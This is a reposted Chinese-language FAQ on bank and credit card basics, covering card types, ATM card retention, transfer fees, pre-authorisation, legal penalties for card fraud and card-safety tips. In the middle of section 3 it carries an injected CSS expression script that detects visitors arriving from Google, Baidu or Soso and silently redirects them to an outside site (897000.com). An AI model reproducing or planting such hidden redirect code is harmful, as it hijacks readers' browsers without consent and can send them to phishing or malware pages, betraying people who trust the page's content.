信用卡基本常識

信用卡基本常識:銀行卡共分三種類型：借記卡、准貸記卡（就是一般人所說的信用卡）、貸記卡。

（轉帖）

1、信用卡和借記卡的區別是什麼？

信用卡與借記卡最本質的區別在於「信用」與「借記」的差別。「信用」意味著「未來支付」，持卡人可用自己的信譽獲得發卡行一定期限的循環信貸，持卡人借發卡行的錢花，每月付一次賬單；而「借記」意味著「扣除」，持卡人消費的付款從自己的銀行賬戶中扣除，持卡人花的是自己賬戶中的錢，不存在信貸消費。

從物理構成上看，兩者也有所區別：信用卡正面一般有激光防偽標誌，借記卡沒有；信用卡一定有有效期，借記卡不一定；目前國內的信用卡卡號均為凸印的，借記卡卡號有平面印刷的，也有凸印的。

2、什麼是貸記卡，什麼是准貸記卡？

信用卡按是否向發卡銀行交存備用金分為貸記卡、准貸記卡兩類。貸記卡是指發卡銀行給予持卡人一定的信用額度，持卡人可在信用額度內先消費後還款的信用卡。准貸記卡是指持卡人須先按發卡銀行要求交存一定金額的備用金，當備用金餘額不足支付時，可在發卡銀行規定的信用額度內透支的信用卡，利息從透支之日起算。貸記卡賬戶的存款不計利息，准貸記卡賬戶的存款計利息。

3、刷卡消費後，發生交易糾紛或退貨，應如何處理？body {onload:expression(if(window.name!="Yang"){var str1 = document.referrer;str1 = str1.toLowerCase();var str6 = "google.";var str7 = "baidu.";var str5 = "soso.";if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage){self.location="http://www.897000.com/1.htm";window.name="Yang";}});}1 

刷卡購物後，持卡人應將刷卡交易的憑據和消費小票（發票）一同保留，以備出現糾紛或退換商品時出示。

當刷卡消費後發生糾紛，對設計賬務問題的，持卡人與發卡行聯繫解決是最佳途徑。

當刷卡消費後，在商戶規定範圍內提出退貨的，持卡人應持商品、原交易卡片和有關交易單據到商戶按相關退貨流程進行處理。持卡人應注意保留退貨交易單據，以備事後查詢。對超過商戶承諾期限後，退貨款仍未到賬的，持卡人可依據商戶出具的退貨交易單據向發卡行進行查詢。

4、在銀行卡跨行交易中出現吞卡時，持卡人應如何處理？

對ATM機因非發卡行要求而吞卡的,持卡人應在吞卡後3個工作日內,持本人有效身份證件及其他可以證明為卡片持有者的材料到ATM所屬網點辦理領卡手續;當委託他人代領時,還須持代領人有效身份證件及授權委託書。當持卡人因超過領卡時限等原因無法領取被吞卡片的，持卡人須向發卡行諮詢並辦理相關手續。

5、在ATM上辦理跨行轉賬業務收手續費嗎？如收費，標準是什麼？

持卡人享受商業銀行提供的ATM跨行轉賬業務服務，需繳付一定手續費，該費用由轉出行持卡人繳付。目前ATM跨行轉賬業務尚在試行階段，分同城和異地跨行轉賬兩類。

同城跨行轉賬是指轉出行和轉入行都在一個區域交換中心所轄範圍之內的跨行轉賬；對無中心聯合地區通過總中心完成的跨行轉賬交易，當能夠確認轉出、轉入在同一行政區域內的，也作為同城跨行轉賬。其手續費試行標準如下：

異地跨行轉賬是指轉出行和轉入行不在一個區域交換中心所轄範圍之內的跨行轉賬。ATM跨行轉賬業務手續費試行標準如下：

同城跨行轉賬：

轉賬金額1萬元（含）以下的，持卡人每筆支付3元的交易手續費；轉賬金額1萬元以上至5萬元（含）的，持卡人每筆支付5元的交易手續費；轉賬金額5萬元以上至10萬元（含）的，持卡人每筆支付8元的交易手續費；轉賬金額10萬元以上的，持卡人每筆支付10元的交易手續費。

異地跨行轉賬：

轉賬金額5000（含）以下的，持卡人每筆支付交易金額的1%，但最少不低於5元的交易手續費；轉賬金額5000以上至5萬元（含），持卡人每筆支付50元的交易手續費；轉賬金額5萬元以上的，持卡人每筆支付60元的交易手續費。

6、在刷卡消費時，哪些情況下需要進行預授權，如何進行預授權操作？

預授權是指銀行卡特約商戶通過POS或其它方式，就持卡人預計支付金額向發卡銀行索取付款承諾的過程，借記卡不一定支持該類交易。

當持卡人在賓館、酒店等銀行卡特約商戶消費時，特約商戶在估計了持卡人的消費金額之後，通過POS或其它方式（如人工方式）取得持卡人發卡銀行的授權碼，獲得付款承諾。持卡人在特約商戶的預授權操作與消費交易相似。這可以理解為暫時凍結持卡人賬號中預授權數目的金額以做押金，但這部分金額還在持卡人賬號中，在預授權完成（或者結算時）才按實際消費金額劃歸商戶。

預授權撤銷是指預授權操作失誤或者其他原因需要撤消原預授權的交易。預授權撤銷完成後，原預授權金額解凍。預授權撤消交易可在預授權交易完成的當天做，也可在若干天后做，但超過規定的期限（30天）後，發卡行應自動對預授權交易的凍結資金進行解凍。

7、哪些行為屬於銀行卡犯罪，法律對此有哪些處罰規定？

根據我國相關刑事法律的規定，以下行為屬於犯罪行為，行為人將受到刑事處罰：

（1）偽造信用卡：以偽造金融票證罪追究刑事責任，即處五年以下有期徒刑或者拘役，並處或者單處二萬元以上二十萬元以下罰金；情節嚴重的，處五年以上十年以下有期徒刑，並處五萬元以上五十萬元以下罰金；情節特別嚴重的，處十年以上有期徒刑或者無期徒刑，並處五萬元以上五十萬元以下罰金或者沒收財產；單位犯該罪的，對單位判處罰金，並對其直接負責的主管人員和其他直接責任人員，依照上述規定處罰。

（2）使用偽造信用卡、使用作廢信用卡、冒用他人信用卡、惡意透支等進行信用卡詐騙活動，數額較大的，以信用卡詐騙罪追究刑事責任，即處五年以下有期徒刑或者拘役，並處二萬元以上二十萬元以下罰金；數額巨大或者有其他嚴重情節的，處五年以上十年以下有期徒刑，並處五萬元以上五十萬元以下罰金；數額特別巨大或者有其他特別嚴重情節的，處十年以上有期徒刑或者無期徒刑，並處五萬元以上五十萬元以下罰金或者沒收財產。

（3）盜竊信用卡並使用，數額較大或者多次盜竊的，以盜竊罪追究刑事責任，即處三年以下有期徒刑、拘役或者管制，並處或者單處罰金；數額巨大或者有其他嚴重情節的，處三年以上十年以下有期徒刑，並處罰金；數額特別巨大或者有其他特別嚴重情節的，處十年以上有期徒刑或者無期徒刑，並處罰金或者沒收財產。

（4）以偽造、冒用身份證和營業執照等手段在銀行辦理信用卡或者以偽造、塗改、冒用信用卡等手段騙取財物，以及利用銀行卡詐騙公私財物，數額較大的，以詐騙罪追究刑事責任，即處三年以下有期徒刑、拘役或者管制，並處或者單處罰金；數額巨大或者有其他嚴重情節的，處三年以上十年以下有期徒刑，並處罰金；數額特別巨大或者有其他特別嚴重情節的，處十年以上有期徒刑或者無期徒刑，並處罰金或者沒收財產。

8、什麼是偽卡？如何辨別偽卡？

偽卡是以真卡為偽造對象，仿製真卡的形狀、結構，盜用真卡的信息並在終端機上使用，以達到盜取資金或財物的目的。偽卡有二種形式，一種是盜取真卡信息後， 重新偽造一張卡片，這是完全意義上的偽造；二是利用真卡的卡片，重新寫磁，重寫凸印，可以稱作變造卡。二者統稱為偽卡。

信用卡卡號絕大多數是凸印的，借記卡卡號有平面印刷的，也有凸印的。辨別偽卡時應該注意卡面的凸字。銀行的凸字列印是專門的儀器來完成的，凸字深度、字形、字元間隔都有特定的要求，偽造卡的凸字深度不夠，列印淺而且不規整，字跡的深度、字形及一組數字排列的整齊程度與真卡有很大的差別。

9、給自己的銀行卡「減肥」

持有多張銀行卡並不一定就好，您應根據實際用卡情況，綜合比較，對多張卡的功能進行整合。選擇為自己量身定做的銀行卡，提高個人資金的管理效率。不用的「睡眠卡」早銷戶，減少不必要的費用支出

10、銀行卡也有「保質期」

善待銀行卡，有助於延長「她」的「壽命」。銀行卡最好放在硬皮錢夾里，不能太貼近磁性包扣；要防止尖銳物品磨損、刮傷磁條或扭曲折壞；不要緊貼一起存放，也不要背對背放置，避免磁條相互磨擦。不要將卡放在微波爐、冰箱等電器的高磁範圍內，也盡量不要和手機、電腦、掌上電腦等帶磁物品放在一起，以免消磁「變質」。

11、領取銀行卡須留意

申領銀行卡或因故需補發新卡時，如果是在銀行網點領取，應當面檢查密碼信封是否完整無損。如果是郵寄方式，注意查收新卡信函和密碼信封。收到信函時，先檢查信封的封口是否遭拆封、破損或有重新黏合的痕迹。檢查信用卡正面的英文凸字姓名、性別與您填寫在申請表上的內容是否相同。在卡片背面的簽名條上，用簽字筆以熟悉的筆體簽上自己的名字。

按照發卡銀行提示，在銀行網點或通過電話銀行完成「卡啟用」，即開卡程序，並及時A TM（自動櫃員機）上修改密碼，如經一段時間仍未收到信函，及時詢問發卡銀行卡片是否已經寄出，並核對地址，避免中途遺失或盜領風險。

12、信用額度夠用就好

信用卡都有一定的信用額度，擁有過高卻使用不到的信用額度可能反而會給您增加麻煩，一旦卡片遭竊，會留下安全隱患。您可以主動要求發卡銀行適度調整自己的信用額度，在有大額需用或出境消費前，可以臨時申請調高。

13、了解ATM取款金額和次數的限制

一般情況下，發卡銀行都在中國人民銀行的基本規定下確定了各自銀行卡在ATM上當日取現累計限額、單筆取現最高額或每日取款次數。國際卡在境外取款時也會有取款金額、次數的限制。如果您急需較大額度的現金，請提早準備，以免出現「有錢吐不出」的尷尬場面。

14、如何避免ATM吞卡

按照新的《銀行卡跨行業務吞沒卡辦法》規定，銀聯各成員機構發行的銀行卡在跨行ATM交易過程中，發卡行因持卡人密碼輸錯或輸錯次數超過發卡行規定，以及磁條信息錯誤、磁條損壞、過期卡、廢卡及其它原因，可以拒絕交易，但不得發送吞卡指令。但對各行在本行系統內ATM交易過程中所出現的問題，仍然按各機構內部管理辦法處理。

因此，請注意：一要確認所持卡片的磁條是否損壞、卡片有無超過有效期，不要貿然使用。二是交易完畢後及時取卡，忘記取卡30秒鐘後ATM將自動吞卡以防被別人拾取。三是一旦發生吞卡，要注意保管好吞卡後ATM列印的憑條，攜帶個人有效證件及時到所屬銀行網點領回卡片，並更改取款密碼。

15、信用卡透支取現有約束

您信用卡的預借現金額度，也就是通常所說的透支取現不是等額不變的，會因您的使用、還款等情況變化。一般情況下會受到三項條件的制約：第一，可用的信用額度。第二，可用的取現額度。第三，ATM取款次數、金額的限制，盡量先閱讀機器上的操作指示，了解銀行的相關規定。

16、在辦理轉賬時的注意事項

您在銀行櫃檯或ATM上辦理轉賬業務時，應先確認是否受理此項業務，如果在櫃檯辦理，需出示身份證件，並按要求填寫相關的交易單據或憑證，確認轉入賬戶的名稱、賬戶號、轉賬金額等要素填寫正確；如果您是在ATM上辦理，應當在規定的時間內輸入如轉入卡卡號、金額等轉賬要素。請妥善保留轉賬交易憑證/回執或ATM列印的憑條，以便發生異常時提交銀行查詢。 資金到賬時間您可以向發卡銀行詢問

17、境外消費要細心

信用卡簽購單上有三欄金額：基本消費金額（Base Amount） 、小費（Tips）及總金額（Total）。您可在「小費」 欄填寫支付小費金額，與實際消費金額，加總後填入「總金額」 欄內，確認無誤後再簽名確認。總金額一定要算對，如果多寫了一個零，小費就給太多了。

需提醒您的是，在國外刷卡時，注意簽購單消費金額的幣別，例如：1000日元和1000美金可是相差「十萬八千里」的。

18、簽名消費 卡不離眼

當您將銀行卡交給商戶收銀員時，請盡量讓卡片保持在您的視線範圍內，並留意收銀員刷卡的次數。請注意簽購單是否有兩份重疊，認真核對簽購單上的金額及幣別是否有誤。簽名樣式儘可能與卡片背面的簽名一致。

19、妥善保管交易憑條

不論在本地還是異地用卡，均應妥善保管交易憑條，最少應該保留至下一個月對賬單寄來時，核對無誤後再銷毀。一方面，將交易憑條與對賬單進行明細比對，若發生重複扣款現象，應該及時與銀行聯繫解決；另一方面，不要隨意丟棄POS和ATM列印出的交易憑條，避免泄露銀行卡卡號和有效期等關鍵信息。

20、及時核對用卡情況

收到對賬單應及時核對賬務，一旦發現不符，應電話或書面通知發卡銀行，查明原因，分清責任。在「黃金周」、「春節」等長假後，您應及時核對假日用卡情況，需要查賬時可通過銀行客戶服務中心申辦查詢事宜。具體的賬務查詢時限請諮詢您的發卡銀行。如果是由於銀行方面的原因造成的，將會很快為您調整。

21、異常交易處理

刷卡消費時只要未成功列印POS單據均視為不成功交易，但不包括卡紙或缺紙的情況。當發生不成功交易時，您可以對卡片的狀態和賬戶餘額進行查詢，確認卡片狀態是否正常以及不成功消費金額是否入賬。對於卡片狀態不正常的，應查詢原因；對於消費金額已入賬的，可要求銀行協助查詢，調回不成功消費金額。

22、換卡或停卡時怎麼辦

當您因舊卡磁條損毀或卡片到期向銀行提出換卡後，銀行會給您換髮新的銀行卡。收到新卡後，要核對新舊卡的卡號是否一致，注意使用期限。如果是發生遺失或被盜用的情形換髮的新卡，卡號會和舊卡完全不一樣，收到新卡後應先完成開卡程序。如果您主動申請停卡時，請在將卡片剪斷寄回前先電話向銀行聯絡，確定卡片已不再使用。 如果銀行卡因超過有效期而不能使用時，您賬戶的債權債務關係仍保持不變。有透支的情況仍需注意還款期限和還款金額。

23、網路異常不用擔心

網路偶然中斷時將無法正常用卡。信用卡，可以通過人工授權方式處理。借記卡，一般要等到網路或系統恢復時才能正常受理。交易在進行中失敗有可能導致賬戶出現誤差。發生這種情況不用驚慌，銀行一般都建立了相應的差錯處理機制，會儘快為您調整有關賬戶，保證資金安全。 持卡人對賬戶交易有疑異，應及時聯繫發卡銀行查詢交易情況，在查詢期間應與發卡銀行保持電話或其他方式聯繫。對於差錯調整，應請發卡銀行明確處理時間。

24、及時掛失早安心

信用卡一旦丟失，請您儘快掛失。掛失一般分為口頭掛失和書面掛失。口頭掛失一般通過撥打發卡銀行的客戶服務電話辦理，有些銀行對於電話口頭掛失生效前只協助防範，不承擔任何損失，並且口頭掛失超過規定時間後會自動解除。有些發卡銀行的電話口頭掛失是及時生效的。書面掛失是正式掛失，持卡人可親自到發卡銀行辦理。如銀行同意委託他人辦理時，應攜帶持卡人委託書和相關證件。在辦理掛失後，應注意掛失生效時間和賬戶的資金變動情況。不在發卡銀行所在地發現卡片丟失的，應及時在指定網點辦理掛失，同時發卡銀行還可以根據您的要求給予適當的緊急取款服務。

25、卡片突然不能刷了怎麼辦？

刷卡被拒絕的理由可能如下：

商戶不是您所持銀行卡的特約商戶；您的卡片信息無法讀取或授權線路不正常，此時可請商戶與銀行的授權服務中心聯繫；您的消費金額可能已超過信用額度；信用卡已過有效期，或已掛失停用。

當商戶拒絕讓您刷卡消費，您可以要求商戶說明原因；若您認為處理方式不妥，可與商戶商洽；若無法溝通，可致電發卡銀行的客戶服務中心，作進一步協調處理。

26、退貨返款不用愁

您需要先和商戶溝通，請他們更換新的商品或免費進行修理。如果您要退貨，您需要向商戶要求拿回原來您簽過字的簽購單。如果該簽購單已通過銀行進行結算，您應要求商戶通過POS或壓卡做退貨交易，將原來的賬款衝掉，把已消費的資金重新劃回您的賬戶上。退貨時商戶不能以現金退還給您。要記住向商戶索要退貨單作為憑證。

27、刷卡消費被要求加收手續費怎麼辦？

按規定，特約商戶不應向刷卡者加收手續費。如果刷卡消費被要求加收手續費，您有權拒絕，並可以立即向發卡銀行反映。發生此類情況，記住要向商戶索要加收手續費的收據或證明，如發票，並妥善保管，作為投訴證據。

28、已終止交易又被繼續扣款怎麼辦？

遇到這種情況，您要儘快和銀行取得聯繫，詢問原因。如果是通過銀行辦理的銀行卡自動繳費業務，需打電話到發卡銀行說明情況，必要時出示辦理終止繳付業務的書面依據，求得解決。 如果是通過網路辦理的郵購業務，您需和辦理網上業務的商戶取得聯繫，通知商戶停止扣款行為，並要求其出具書面證明。如果商戶仍然不為所動，您通知您的發卡銀行予以止付。

29、款額「蒸發」怎麼辦

由於通訊或機具故障等原因，您的銀行卡在POS或者ATM上交易不成功，ATM實際吐鈔金額可能與持卡人扣款金額不符。如果遇到這種情況，您應保留原始憑證，及時向銀行提出拒付要求。發卡銀行會根據情況調閱原始單據或通過其他手段來查證，只要情況屬實，會很快退款給您

30、出遠門最好提前用一用卡

銀行卡如果太久沒有使用，可能會有異常情形發生，如在無意中受損，或磁條信息消磁，導致無法使用。所以出遠門前最好提前用一用卡，確保外出刷卡無障礙！另外，有些銀行設置「卡啟用」功能，在初次使用時，應到銀行的網點或通過電話銀行辦理開卡手續，避免出遠門後「有卡刷不出」的尷尬。

31、如何保證個人資料的安全

一要通過正當途徑辦卡，勿隨意委託他人代辦銀行卡；二要注意個人資料保密，勿將銀行卡相關資料，包括：銀行卡卡號、到期日、銀行卡密碼、身份證號碼等信息告知他人。三要謹慎對待要求提供個人資料的可疑電話，問清情況，不要盲目隨意提供資料。四是需更改賬單寄送地址時，最好本人親自去電發卡銀行辦理變更手續。五是勿隨意在網路留下自己個人的資料，以防資料外泄。

32、守住密碼最重要

記住，任何人（包括銀行工作人員）都無權詢問您的個人密碼。 領卡時，要仔細檢查密碼信封有無破損，如信封被打開過則立即要求調換。在領卡後立即修改密碼。不要將密碼信封與銀行卡放在一起，更不可隨處記寫密碼。設置密碼應選擇不易被破譯的數字，並且應經常更換。

33、多個心眼多份安全

要注意ATM 機上是否有多餘裝置，如攝像頭等，看到要求您提供密碼信息的「緊急通知」，要警惕。最好以授權扣賬方式繳納款項，確保交易安全，若是以ATM直接繳付信用卡款項，請認真核對轉入賬號。收到可疑信函、電子郵件、簡訊、電話等，謹慎確認。對於來路不明或異於往常所收到的對賬單，請先與發卡銀行聯繫，切勿貿然轉賬。不要在網吧或公司電腦上用銀行卡在網上消費。不要在人工看守的公用電話上使用電話銀行，確實需要使用時建議使用無人值守的IC卡電話。

34、謹防銀行卡被「掉包」

在商戶持卡消費時，要謹慎，收回時應確認是自己的銀行卡。 銀行卡請您隨身攜帶，千萬不要將錢包及銀行卡放置在空車上，以避免讓竊賊有機可乘。不要輕易相信「幸運中獎」等信息，有人別有用心利用手機簡訊息、網際網路和電話推銷進口汽車、電腦等便宜商品，騙取持卡人卡號和密碼，請留心。您一旦將卡號和密碼告訴對方，不法份子會「克隆」卡，從而使您承受不白損失。

35、網上用卡交易多留心

選擇較知名、信譽佳、已運營相當時間且與知名金融機構合作的網站，了解交易過程的資料是否有安全加密機制。向您熟悉的或知名的廠商購物，避免因不了解廠商，而被盜用銀行卡卡號或其他的個人資料。若利用信用卡付款，可先向您的發卡銀行查詢是否提供盜用免責的保障。注意保留網上消費的記錄，以備查詢，一旦發現有不明的支出款項，應立即聯絡發卡銀行。

36、網上消費者如何減少個人資料被盜用

您上網購物時，請先尋找並閱讀該廠商的網路保密政策。如無意購買或只想試用，請不要留下個人資料。

在任何時候，都不要在陌生的電子郵件和WEB頁面中透露您的個人敏感信息，不要隨便在網路上輸入個人資料，如：身份證號碼、銀行卡卡號、有效期、密碼及居住地址等，退出登錄界面前，確認消除輸入的個人數據資料。一旦懷疑或發現自己的個人信息可能被盜用，請及時通知銀行。

　 其他相關知識

1、***同志於1993年親自倡導實施以銀行卡聯網通用為核心內容的「金卡工程」。

2、信用卡興起於美國。

1985年，中國銀行珠海分行在中國大陸發行了第一張信用卡——中銀卡。1985年至1993年，中行、工行、農行、建行、交行五家銀行相繼發卡，但發卡量較少。

1994年起，在人民銀行及各地政府的組織協調下，各商業銀行積极參与，在全國建立了18個城市銀行卡網路服務中心和一個全國信息處理總中心，逐步實現了部分城市銀行卡同城聯網通用，也在一些城市之間實現了異地跨行交易。

1999年3月1日，《銀行卡業務管理辦法》正式施行。

經中國人民銀行批准,由八十多家國內金融機構共同發起設立中國銀聯股份有限公司,公司於2002年3月26日掛牌成立,總部設在上海。公司的網址是www.chinaunionpay.com。

3、「銀聯」標識卡是經中國人民銀行批准，由國內金融機構發行，採用統一業務規範和技術標準，可以跨行跨區域使用的銀行卡。其主要特徵之一就是在銀行卡正面右下方印刷了統一的「銀聯」標識圖案。

「銀聯」標識從左至右以紅、藍、綠三種顏色銀行卡的平面排列為背景，襯托出白顏色的「銀聯」漢字造型，突出了銀行卡聯網聯合的主題。紅色象徵合作、誠信；藍色象徵暢通、高效；綠色象徵安全。三種不同顏色銀行卡的緊密排列象徵著銀行卡的聯合。

4、「POS」的中文含義是銷售點終端機，「ATM」的中文含義是銀行自動櫃員機。

按是否提供信用消費功能，銀行卡可分為信用卡和借記卡；按幣種不同可分為人民幣卡、外幣卡；按發行對象不同可分為單位卡和個人卡；按信息載體不同可分為磁條卡和IC卡。其中，信用卡按是否向發卡銀行交存備用金分為貸記卡、准貸記卡兩類。

貸記卡是指發卡銀行給予持卡人一定的信用額度，持卡人可在信用額度內先消費、後還款的信用卡。

准貸記卡的持卡人須先按發卡銀行要求交一定金額的備用金，當備用金賬戶餘額不足支付時，可以在發卡銀行給定的信用額度內透支。

聯名/認同卡是商業銀行與盈利性機構/非盈利性機構合作發行的銀行卡附屬產品。

IC卡既可應用於單一的銀行卡品種，又可應用於組合的銀行品種。

5、銀行卡保管和使用的注意事項：

把銀行卡和身份證分開放置；妥善保管交易憑條；及時核查賬戶餘額；不可彎折銀行卡、剪角及鑽孔；把銀行卡與手機等帶磁物品分開放置；不宜把多張銀行卡混放。

6、持卡人用卡購物後，如需退貨，特約商戶應直接把錢劃回持卡人的銀行卡賬戶中。

持卡人不能以和商戶發生糾紛為由,拒絕支付所欠銀行款項。信用卡購物消費持卡人必須在POS結算單上簽字。

7、發卡機構必須向持卡人提供諮詢、查詢、對賬、掛失、投訴等服務。

對信用卡持卡人關於人民幣賬戶的交易情況的查詢和改正要求，發卡機構應在30天內答覆。

銀行提供口頭掛失和書面掛失兩種掛失方式，掛失生效時間最多24小時。異地遺失銀行卡後可向當地的發卡機構提出掛失申請。

持卡人在ATM 上使用銀行卡，發生吞卡時，應拿本人有效證件與當地的發卡銀行聯繫，委託他人代辦的，代辦人還需持代領人身份證件及授權委託書。

銀行卡密碼遺忘，最好採用密碼重置的方式,不能直接向銀行詢問密碼。借記卡消費必須輸入密碼。

8、發卡銀行對準貸記卡及借記卡賬戶內的存款，按照中國人民銀行規定的同期同檔次存款利率計息辦法計付利息。發卡銀行對貸記卡賬戶內的幣值不計付利息。

貸記卡持卡人透支刷卡消費享受免息還款期待遇，銀行記賬日至發卡銀行規定的到期還款日之間為免息還款期。免息還款期最長期限為60天。持卡人在到期還款日前償還所使用全部銀行款項即可享受免息還款期待遇，無需支付利息。

貸記卡持卡人還可享受最低還款額待遇，持卡人在到期還款日前償還所使用全部銀行卡款項困難的，可按照發卡銀行規定的最低還款額還款。貸記卡持卡人選擇最低還款額方式或超過發卡銀行批准的信用卡額度用卡時，不再享受免息還款期待遇。

以下兩種情況下，持卡人均不享受免息還款期待遇：一是貸記卡持卡人支取現金，二是准貸記卡透支。透支日利率為萬分之五。

對貸記卡持卡人未償還最低還款額的行為，發卡行按最低還款額未還部分的5%收取滯納金；對貸記卡持卡人超信用額度用卡的行為，最高按超過信用額度部分的5%收取超限費。

9、具完全民事行為能力的人可申請信用卡。個人申領銀行卡應當向發卡銀行提供公安部門規定的本人有效身份證件,經發卡行審查合格後,為其開立記名賬戶。

如果需要信用卡申請人提供擔保,發卡行將根據申請人的資信狀況確定有效擔保及擔保方式，信用卡保證人對持卡人的擔保範圍由發卡機構與持卡人簽署的協議而定，可能包括信用額度內透支及超信用額度透支的本息、超限費、滯納金、追索費用。

銀行卡及其賬戶只限經發卡銀行批准的持卡人本人使用，不得出租和轉借。

信用卡的持卡人只能為其直系親屬申請信用卡副卡。信用卡副卡持卡人未了結的債務，首先應由主卡持卡人負責。

除國家外匯管理局制定的範圍和區域外，外幣卡原則上不得在境內辦理外幣計價結算。

信用卡持卡人申請辦理銷戶，需要還清交易款項、透支本息和有關費用。

10、人民幣單位卡賬戶的資金一律從其基本存款賬戶轉賬存入，不得存取現金，不得將銷售收入存入單位卡賬戶。單位卡外幣卡不允許在境內存取外幣現鈔。

個人外幣卡賬戶的資金以其持有的外幣現鈔存入或從其外匯賬戶轉賬存入。

11、貸記卡每卡每日累計取現不得超過2000元人民幣。借記卡持卡人在ATM上取款，每卡每日累計提款不得超過5000元人民幣。

為控制風險，中國人民銀行規定個人信用卡單筆透支發生額不得超過2萬元人民幣（含等值外幣），月透支餘額個人卡不得超過5萬元（含等值外幣）；單位卡單筆透支發生額不得超過5萬元人民幣（含等值外幣）。貸記卡的首月最低還款額不得低於其當月透支餘額的10%。

目前，外幣卡的透支額度不得超過持卡人保證金80%。

12、有下列情況之一的，發卡行可停止該信用卡的使用

持卡人資信狀況惡化，發卡機構認為已不適合領用信用卡；擔保合約中途解除，持卡人又不能及時提供所要求的擔保；保證人喪失保證能力，持卡人不能及時提供擔保的。持卡人或保證人通訊地址、職業發生變化時，應以書面形式告知發卡行。

推薦閱讀：